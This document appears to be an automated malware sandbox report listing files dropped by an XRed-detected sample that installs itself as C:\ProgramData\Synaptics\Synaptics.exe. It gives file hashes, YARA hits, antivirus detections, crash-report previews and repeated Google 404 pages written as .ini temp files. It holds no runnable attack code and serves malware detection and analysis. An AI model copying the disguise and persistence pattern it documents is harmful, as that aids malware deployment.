	NotezillaSetup.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_eb29f521-6482-4a4f-9dc4-5125bff672a2\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.13304391119312
Encrypted:	false
SSDEEP:	192:3wloG3VpsHImo0WMn4DzJDzqjLOA/F0dsJzuiFXZ24IO8EKDzy:gryH5WMn4Jqj8CzuiFXY4IO8zy
MD5:	90280DD046A061F1EEAB96C3FB7C3DCD
SHA1:	55779A48AFBA21ACB881E184B88310A4EE4FF390
SHA-256:	F5D930E919CA551509D3887F81867F0EB24E0946D020FAFDEBB63CFFE9DA318A
SHA-512:	3B3CD64A1E87FE55C69101838BDE2621AE06269A94C9362BFD11C27632BEFB85E4719D431CD9AD68BE5C97314A7A941ADF85A9442F30D1A7351AC610F37D574E
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.1.0.9.5.2.1.0.5.1.5.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.1.0.9.6.4.4.4.8.8.9.6.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.b.2.9.f.5.2.1.-.6.4.8.2.-.4.a.4.f.-.9.d.c.4.-.5.1.2.5.b.f.f.6.7.2.a.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.d.b.f.4.e.2.d.-.c.9.b.b.-.4.e.9.d.-.9.4.4.e.-.2.a.8.a.c.f.c.0.a.b.4.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.c.-.0.0.0.1.-.0.0.1.4.-.3.d.f.2.-.f.6.8.2.c.c.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.8.a.4.0.e.8.2.8.2.2.4.f.2.2.3.6.1.b.0.9.4.9.4.a.5.5.6.a.2.0.d.b.8.2.f.c.9.7.b.9.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1030.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6308
Entropy (8bit):	3.71600955996531
Encrypted:	false
SSDEEP:	192:R6l7wVeJ+xs6tivYiSWgpD389bBrsfplLm:R6lXJV6tivYuFBwfp0
MD5:	583E5A1A8DE7547E54D5F404B831B329
SHA1:	3FF561C46A5E37626E62B53F56F5A1C73DFE016B
SHA-256:	6FC032B40A48969A893D340713BDFBF1716D84D22A5055F745E3CE94EA6B48DE
SHA-512:	78C267EFD5D4DC76120F31C2E5CFCF4607296AC89919112671BE3CC85BCC66996C7CFE4965C99D51B0FC08EA50B6A0AAC507F032149C1DB6F999000F9D510F75
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1050.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.438747315543751
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg77aI9M/WpW8VY3PYm8M4JFetFpI+q84iiSCQNZud:uIjfRI72u7ViSJqIKCQNZud
MD5:	49B4408A3B1AC30B128348EABEB70E7E
SHA1:	96A833FCB56A58FD5525F4D317C7487841FCA89E
SHA-256:	73558EB340C93EBCBFC74DA7066A45EBBB866B0BF6915A23FCFC045EA6AFA6E1
SHA-512:	C239B41180A61061A958E2A6473DE0018CB477103A82426E47F410B1EB7FC8D2D657E4943B3E5EB8B67E34BA9960D2AF9482553672FDAC580E3E437A3CBDA897
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="426898" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0B2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jul 25 19:55:56 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	5553666
Entropy (8bit):	2.174251353541977
Encrypted:	false
SSDEEP:	12288:Aj/89q2aQw5k/d45zjAFnsbWrKijshp87Du1K40NuhMID4wCT1K:AYod7k14RGjohu7Du0mD48
MD5:	E9778EF6E7AE94B270A149AAF0171084
SHA1:	41E77484D96EEC11A0E913EC3CBD73C67A67EA2F
SHA-256:	56B685C7F441C01BCF4CD75488D1A46F923C57757EFB035C43DCAA4D8B334CC3
SHA-512:	FBCB061AD9E56446030D75A436712D7043761DF04BB046995CC6E61146EC8236A1DDA3DD1020C92CD400132F17F393FF6170FEDC1162AC0B1F31163C460FC5E4
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........f............4`..............Hg......$................/..........`.......8...........T...............j.R.....................................................................................................eJ..............GenuineIntel............T.......L......f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Synaptics\RCXF23B.tmp

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_282.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.636362882247521
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IFr:ansJ39LyjbJkQFMhmC+6GD92
MD5:	B753207B14C635F29B2ABF64F603570A
SHA1:	8A40E828224F22361B09494A556A20DB82FC97B9
SHA-256:	7F16106F3354A65FC749737905B77DF7BBEFA28BF8BBC966DC1F8C53FA4660F2
SHA-512:	0DD32803B95D53BADD33C0C84DF1002451090FF5F74736680E3A53A0BFC0E723EEE7D795626BC10A1FB431DE7E6E276C5A66349EF385A8B92B48425B0BDD036F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXF23B.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXF23B.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_282.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16016392
Entropy (8bit):	7.981074181960188
Encrypted:	false
SSDEEP:	196608:ULz7flpQcIIS/Rj7BWl+aV8t8z72BxBwBgO4n6018xRrdVBzIxdAANm5suXf/BAn:UTlptVYmfr7yBG/4nF8TRVBsViHmpe
MD5:	6D1FD0AF6DD71B3CA81ECEFB1D9F9324
SHA1:	7DCE009FAE200AD379A332BC4F2CC5DC8C88DF52
SHA-256:	43C1D24D64D652DBA7A789B4EB06870D5BA199060F0069B906A7B0F9ECBD4D70
SHA-512:	9847DB8A749BF940424C4E5AE8F29C459FE96AA88B95E066F53AD840A618AB9190DE3797A1116839AD2BE3DB6C973675190E5E049CCA6DAD004115D54C5FB599
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B..........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc..............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_282.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\16oXzft.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.254498717582129
Encrypted:	false
SSDEEP:	24:bsF+08SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+3+pAZewRDK4mW
MD5:	F6E24A849D6F83BE5CFF522EBE6003DA
SHA1:	D3179235651871B1AA8249C83319D22591860DB1
SHA-256:	39F4E637B5796083D4B041A36D09235257B74B3300A7E9351FB351AB6770941B
SHA-512:	434106212E72534B9DE6BC008B6A203F6F1088986CF1CB51F8DB071C4E5948E87BFDB1C1183218F423809361BEEF57D5B864FE89D7D324089BECEE13D16CCDD0
Malicious:	false
Reputation:	low
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9ewh45d0FZiQjN9vfNuycQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\2t4uJRv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26421450530214
Encrypted:	false
SSDEEP:	24:bsF+0bZSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+C+pAZewRDK4mW
MD5:	F0BB1DD6FA22BB6BFE75B72C35E8B367
SHA1:	58CF2208821252774848E69863C4808EC8AC1F70
SHA-256:	E7FAEB94839BB8815C148AF57BC2E1111C92CC2299124BDF78469C41411E0F86
SHA-512:	380E529F416DCA7BA2DD25750D8F0B75292C67C22AD839A7A9C91CC1BC35AEEDD8F2A1F2EFF5DCF0E6E000A5588889B1E067B697D2F6113B8A612624B48ACFDB
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="za9kGuX4gIWLS1w6ZsAv2g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\4EZWtmE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256947422804546
Encrypted:	false
SSDEEP:	24:bsF+0PkDWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+bK+pAZewRDK4mW
MD5:	09C1D7C496AD3953039BFD817AD376C2
SHA1:	924921748BD53879836082EC01A18A9DF544B729
SHA-256:	40D09941382BCBC6254DB29A5C9BA7B8660F696E15BB4EDDDE9A9CFB09DE4C23
SHA-512:	448B7F1DDD8C209D66BB2BDFE10D1E6BD138A99F89854E5ECB1DEC9CAC045A9FB64647DEEC055DDEF8BA0148AE181359E8AC94C73E36C7EF3642A3DF325732A3
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="q5IBnklqiukpzF0wBhJ4JQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\52pecbn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.264450885859879
Encrypted:	false
SSDEEP:	24:bsF+0mqSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Bq+pAZewRDK4mW
MD5:	8C035576FF5A52912BC81A9101AF1A74
SHA1:	D546E607B106A5DD4C42E333D790AA2320E3BABE
SHA-256:	F6E222A1B6C194E501823640F564F4D4FA802197B00A157EA3470288F386BED2
SHA-512:	23565854272E28AD24FB2CEC09B09C30A2A40EEE478172A8F01DB7B837E0210C432605FC000E4F77B67E5876FCD7A20D243F0C7501E1D6E0D0A7598C54792952
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="O375htEjf6cN54YVbvKdBg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\5OFXbYH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256140121027646
Encrypted:	false
SSDEEP:	24:bsF+01jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+K+pAZewRDK4mW
MD5:	C0238B094FFC002093DFB6EEF2F92C43
SHA1:	365BA02C34CF98948376BA50EE3CE6D435970CEB
SHA-256:	47D9F3AECBB27615115B286E2E0C277D9388DA044CC0EB4507B704C23520C2F7
SHA-512:	F3BF161894D044E893E92CF75B6B433ED281A62516E64D66B77FBFE4D86BD5F40A5E06A5F90A10F392D05636235C7D2AA47B2AB27B6DA030BA798B025460B649
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ezDooOg310VX74ktN3tEvQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\61QVXUr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2597413280189524
Encrypted:	false
SSDEEP:	24:bsF+0oDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+XD+pAZewRDK4mW
MD5:	F1E7EFC26E00C4AFC88F71FB94186FCC
SHA1:	E6C63CCF9C8BA650BE3C43DA34AA9558DDB1C7E1
SHA-256:	183DC183F45F282CD4628F0D6418F3417266147B7C9D5B0BE73F4B40463967D7
SHA-512:	D06661B5B7690D41B680A7DA0F07817C0B082C2D928389E8A284A009DFDA5207853E3E110461A22830AD10FA419698209DEB72994945CDF74549CA61C4ACFAA6
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="j25Ol1MASLFkq1_T_Ele_g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\7sFh1Cq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256026717396212
Encrypted:	false
SSDEEP:	24:bsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+g+pAZewRDK4mW
MD5:	811C5225ACCBE34D5031685EEEB76C30
SHA1:	F6FFAC0A415377C581622DF2F3D53CB488360341
SHA-256:	6C00B6AB413EAB33A0C52FC13CD5F8896BBBD4969B111A4B3A6F984E7B587795
SHA-512:	ED01D82964423A4636F74084AAEF5865093BBCD23FB187C99ACA18436D3114C3EC6B01B2167EFD534360EE2BB466CD008E25D7247D30597816E3191F381100D8
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yF_2k3TTIvcLsN0Pzw0toA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\94kwdTy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.255534660003997
Encrypted:	false
SSDEEP:	24:bsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+/+pAZewRDK4mW
MD5:	9A2EA4C14D0E300D9AB1F94F768E0311
SHA1:	E5C8D49CE0D68D370E5F1968F28B61B60BAF3EE6
SHA-256:	203DF3A7E54820095873A2F690EE476F4BB6D26C24345A9526EC5958280594CC
SHA-512:	1BD6906A335F342AF7951A89EB8B05B9C2689D7BB4A25C92012644F724319A19714BCB230BD111DC70F763BBD8EFFD6EAF7D17B40C8886ABE9C78E45BEF51579
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_LGipGhSuiaYq-XZcvPs7g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\9bzyAA7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.265877273816037
Encrypted:	false
SSDEEP:	24:bsF+0AE5SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+De+pAZewRDK4mW
MD5:	26B26E30E23E9F7F47EB7C596872EDB8
SHA1:	326680334C36571BA6C3A9CF610F1CE06231F661
SHA-256:	08509555BEFB3EE486A6B614DB2D669D3D905A3D5498ACC7F186734DDB368DB7
SHA-512:	6FAB9E95C5A0459E1DDC301D10427F54DDCBFAFB5661CF712285B3BAAC4755F9C3279DF88BC5A65E1AAAC07CA521DC94C08F275D9B05DD36C9B507D35BEFE92C
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SgQPYDvgKEtBfcPhl3gq2A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\9dWXbsA.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2766826186627345
Encrypted:	false
SSDEEP:	24:bsF+0MlSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+x+pAZewRDK4mW
